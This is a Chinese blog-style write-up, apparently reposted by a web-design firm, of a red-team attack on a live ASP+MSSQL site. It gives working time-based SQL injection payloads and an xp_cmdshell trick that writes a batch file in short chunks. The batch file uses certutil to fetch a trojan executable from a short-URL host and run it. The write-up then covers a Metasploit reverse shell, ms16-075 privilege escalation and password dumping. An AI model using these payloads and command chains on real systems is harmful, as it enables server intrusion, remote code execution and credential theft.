asp+mssql的注入和命令執(zhí)行是怎樣的,很多新手對(duì)此不是很清楚,為了幫助大家解決這個(gè)難題,下面小編將為大家詳細(xì)講解,有這方面需求的人可以來(lái)學(xué)習(xí)下,希望你能有所收獲。
網(wǎng)站建設(shè)哪家好,找創(chuàng)新互聯(lián)!專(zhuān)注于網(wǎng)頁(yè)設(shè)計(jì)、網(wǎng)站建設(shè)、微信開(kāi)發(fā)、微信小程序定制開(kāi)發(fā)、集團(tuán)企業(yè)網(wǎng)站建設(shè)等服務(wù)項(xiàng)目。為回饋新老客戶(hù)創(chuàng)新互聯(lián)還提供了榆樹(shù)免費(fèi)建站歡迎大家使用!
在hw中有遇到一個(gè)站點(diǎn),存在mssql的注入和命令執(zhí)行漏洞,在進(jìn)行利用的時(shí)候遇到了一些阻礙。
首先進(jìn)行信息收集,發(fā)現(xiàn)在一個(gè)高端口開(kāi)著一個(gè)論壇服務(wù),于是打開(kāi)站點(diǎn)進(jìn)行常規(guī)的測(cè)試,在用戶(hù)名處,在搜索框處,在輸入單引號(hào)之后得到報(bào)錯(cuò),這很有可能就是注入點(diǎn),因?yàn)橹皼](méi)有做過(guò)asp+mssql的注入,所以去請(qǐng)教了大佬,站點(diǎn)是get傳參,大佬經(jīng)過(guò)測(cè)試發(fā)現(xiàn)可以通過(guò)post傳參(應(yīng)該是使用了asp的Request.Form函數(shù)
),不能通過(guò)bool盲注,但是可以通過(guò)堆疊時(shí)間盲注進(jìn)行注入,payload';if (db_name()like'A%')waitfor delay '0:0:10' --
這里可以通過(guò)burp的測(cè)試器進(jìn)行測(cè)試,把a(bǔ)-z0-9添加到字典中,之后進(jìn)行枚舉,判斷返回時(shí)間,下面舉個(gè)例子 枚舉到t時(shí)得到延時(shí)5秒,證明數(shù)據(jù)庫(kù)的第一個(gè)字符為t
接下來(lái)使用burp的測(cè)試器 修改要測(cè)試的位置 添加字典 修改線程 查看結(jié)果 按時(shí)間排序 得到數(shù)據(jù)庫(kù)的下一位為e
,接下來(lái)得到數(shù)據(jù)庫(kù)名稱(chēng)。 判斷用戶(hù)是否為dba權(quán)限';if (select IS_SRVROLEMEMBER('sysadmin'))<1 WAITFOR DELAY '0:0:5'--
,但是執(zhí)行這個(gè)代碼發(fā)現(xiàn)沒(méi)有延時(shí),無(wú)論是<1還是>=1都沒(méi)有回顯,可能是因?yàn)槭止さ姆绞讲惶珜?duì),所以丟到sqlmap 發(fā)現(xiàn)可以注入,之后使用--is-dba
判斷是否為dba權(quán)限 不是dba權(quán)限,繼續(xù)注入出其他數(shù)據(jù)庫(kù)--dbs
發(fā)現(xiàn)沒(méi)有回顯,而且sqlmap沒(méi)有檢測(cè)出waf,所以就要分析一下payload和后端的問(wèn)題了,想到這里是搜索框,并且默認(rèn)是get傳參,那么是不是可能限制了字符串長(zhǎng)度,于是修改payload為';if ('aaa'='aaa')waitfor%20delay%20'0:0:5' --
通過(guò)調(diào)整單引號(hào)長(zhǎng)度,來(lái)測(cè)試最大為多大長(zhǎng)度時(shí)可以延時(shí),經(jīng)過(guò)枚舉,發(fā)現(xiàn)后端的長(zhǎng)度限制為60,那么在注入的時(shí)候就只能通過(guò)存儲(chǔ)過(guò)程來(lái)注入,這樣是非常麻煩的,還有一種辦法就是通過(guò)mssql的xp_cmdshell
函數(shù)來(lái)執(zhí)行命令,當(dāng)然因?yàn)榍懊嬗袑?duì)字符串的長(zhǎng)度有限制,所以每次執(zhí)行的命令長(zhǎng)度也有限制,';exec master..xp_cmdshell ''--
為執(zhí)行命令的基本長(zhǎng)度,為31,所以我們執(zhí)行命令的長(zhǎng)度最大為29,而且還要考慮殺軟的問(wèn)題,因?yàn)榻?jīng)過(guò)本地測(cè)試,如果存在殺軟,那么命令是無(wú)法執(zhí)行成功的 哪怕是ping命令甚至是錯(cuò)誤的命令都不能執(zhí)行,所以要對(duì)目標(biāo)是否存在殺軟進(jìn)行測(cè)試,';exec%20master..xp_cmdshell%20'ping%20127.0.0.1'--
執(zhí)行之后等待了4秒,成功得到回顯,證明對(duì)面目標(biāo)沒(méi)有殺軟或者殺軟不為測(cè)試的某衛(wèi)士 想到可以通過(guò)系統(tǒng)的下載命令進(jìn)行下載,配合上短域名即可實(shí)現(xiàn)文件下載,但是經(jīng)過(guò)測(cè)試,常規(guī)的下載命令,配合短域名之后長(zhǎng)度會(huì)達(dá)到34位 而且還會(huì)涉及下載目錄問(wèn)題,還有下載的文件的執(zhí)行問(wèn)題。 在之前復(fù)現(xiàn)phpstudy命令執(zhí)行漏洞寫(xiě)shell的時(shí)候?qū)W習(xí)到了在系統(tǒng)下echo 123>1.txt
和echo 123>>1.txt
兩種寫(xiě)入方式的區(qū)別,通過(guò)第二種方式即可實(shí)現(xiàn)寫(xiě)入文件,于是進(jìn)行本地復(fù)現(xiàn) 經(jīng)過(guò)寫(xiě)入兩次文件,但是命令根本不在一行,這樣是無(wú)法執(zhí)行的,這時(shí)候想起了之前在ctfhub上面做的命令執(zhí)行,想到在linux下可以通過(guò)拼接來(lái)繞過(guò)過(guò)濾,實(shí)現(xiàn)命令執(zhí)行,那么windows下是不是也可以呢,找到了度娘,可以通過(guò)以下方式來(lái)進(jìn)行字符串拼接
@echo off certuti l %a%%b%
于是把下載的命令進(jìn)行構(gòu)造certutil -urlcache -split -f http://suo.im/5UEWnn %temp%/1.exe
經(jīng)過(guò)字符串拼接,現(xiàn)在本地進(jìn)行測(cè)試,
@echo off certuti l %a%%b% che %q%%a% it ht %q%%a% tp://suo %q%%a% .im/5UEW %q%%a% nn %q%%a% %%temp%% %q%%a% /1.exe %q%%a% %q% pause
發(fā)現(xiàn)已經(jīng)拼接成功,并且可以執(zhí)行,所以進(jìn)行構(gòu)造payload';exec master..xp_cmdshell 'echo >>%temp/6.bat'--
為需要的最基本的長(zhǎng)度。為45個(gè)字符 而且還需要保證字符串拼接可以完成,';exec master..xp_cmdshell 'echo set q=%a%%b%>>%temp/6.bat'--
為61個(gè)字符,這樣已經(jīng)不能夠正常的執(zhí)行命令,所以要對(duì)payload進(jìn)行縮減,把寫(xiě)入文件的擴(kuò)展名去掉,在寫(xiě)完文件之后使用copy命令進(jìn)行重命名 所以payload為';exec master..xp_cmdshell 'echo set q=%a%%b%>>%temp/6'--
,經(jīng)過(guò)構(gòu)造得到完整的payload
@echo off>>%temp%/3 certuti>>%temp%/3 l >>%temp%/3 %a%%b%>>%temp%/3 che >>%temp%/3 %q%%a%>>%temp%/3 it ht>>%temp%/3 %q%%a%>>%temp%/3 tp://suo>>%temp%/3 %q%%a%>>%temp%/3 .im/5UEW>>%temp%/3 %q%%a%>>%temp%/3 nn >>%temp%/3 %q%%a%>>%temp%/3 %%temp%%>>%temp%/3 %q%%a%>>%temp%/3 /1.exe>>%temp%/3 %q%%a%>>%temp%/3 %q%>>%temp%/3 copy %temp%\3 %temp%\3.bat %temp%\3.bat %temp%\1.exe
思路就是通過(guò)把命令寫(xiě)入文件,之后通過(guò)copy命令把無(wú)后綴的文件變成bat,進(jìn)行執(zhí)行里面的下載命令,遠(yuǎn)程下載muma到指定目錄,之后通過(guò)命令執(zhí)行來(lái)運(yùn)行muma,當(dāng)然還要先測(cè)試目標(biāo)是否出網(wǎng)和是否是dba,開(kāi)啟了xp_cmdshell
show advanced options xp_cmdshell ftp x.x.x.x
在服務(wù)器執(zhí)行nc -lvvp 21
如果有回顯,證明目標(biāo)可以執(zhí)行命令并且出網(wǎng) 接下來(lái)首先進(jìn)行本地測(cè)試,測(cè)試命令是否執(zhí)行成功,能否成功寫(xiě)入文件, 發(fā)現(xiàn)命令已經(jīng)執(zhí)行成功,但是沒(méi)有寫(xiě)入文件,于是修改asp代碼,顯示sql語(yǔ)句,下面是我本地復(fù)現(xiàn)的代碼
<% mssql_datahost mssql_username mssql_password connstr &mssql_username&&mssql_password&&mssql_dataname& Set conn Server.CreateObject() conn.Open connstr dim keyword Request.Form() left(keyword,60) StrSql & keyword & Response.Write(StrSql) Conn.Execute(StrSql) %>
發(fā)現(xiàn)是%
沒(méi)有編碼,在post傳參中被url解碼消失了,所以修改payload
%20@echo%20off>>%25temp%25/3 %20setcertuti>>%25temp%25/3 %20setl%20-urlca>>%25temp%25/3 %20set%25a%25%25b%25>>%25temp%25/3 %20setche%20-spl>>%25temp%25/3 %20set%25q%25%25a%25>>%25temp%25/3 %20setit%20-f%20ht>>%25temp%25/3 %20set%25q%25%25a%25>>%25temp%25/3 %20settp://suo>>%25temp%25/3 %20set%25q%25%25a%25>>%25temp%25/3 %20set.im/5UEW>>%25temp%25/3 %20set%25q%25%25a%25>>%25temp%25/3 %20setnn%20>>%25temp%25/3 %20set%25q%25%25a%25>>%25temp%25/3 %20set%25%25temp%25%25>>%25temp%25/3 %20set%25q%25%25a%25>>%25temp%25/3 %20set/1.exe>>%25temp%25/3 %20set%25q%25%25a%25>>%25temp%25/3 %20%25q%25>>%25temp%25/3 copy%20%25temp%25\3%20%25temp%25\3.bat %25temp%25\3.bat %25temp%25\1.exe
執(zhí)行之后,msf收到shell,查看權(quán)限 通過(guò)tasklist
命令查看是否存在殺軟和本地運(yùn)行的進(jìn)程 因?yàn)楸镜貦?quán)限較低,所以需要提權(quán)抓取密碼
use post/multi/recon/local_exploit_suggester
使用msf的local_exploit_suggester匹配出了一些可能的用于易受攻擊目標(biāo)提權(quán)的漏洞利用的exp模塊。 之后使用ms16075進(jìn)行本地提權(quán) 獲得system權(quán)限,抓取密碼
因?yàn)橹皩?duì)asp+mssql沒(méi)有過(guò)接觸,所以剛一碰到目標(biāo)的時(shí)候很麻爪,包括在進(jìn)行權(quán)限維持和橫向的時(shí)候,還沒(méi)來(lái)得及做,就已經(jīng)被發(fā)現(xiàn)了,之前使用msf的時(shí)候都是在自己的虛擬機(jī)里,環(huán)境和真實(shí)環(huán)境有很多差異,而且,msf的反彈使用了reserve_tcp,并且沒(méi)有使用rc4或者h(yuǎn)ttps來(lái)加密流量,導(dǎo)致權(quán)限只拿下來(lái)了2個(gè)小時(shí)就被防守方發(fā)現(xiàn),并且關(guān)閉了網(wǎng)站。
看完上述內(nèi)容是否對(duì)您有幫助呢?如果還想對(duì)相關(guān)知識(shí)有進(jìn)一步的了解或閱讀更多相關(guān)文章,請(qǐng)關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道,感謝您對(duì)創(chuàng)新互聯(lián)的支持。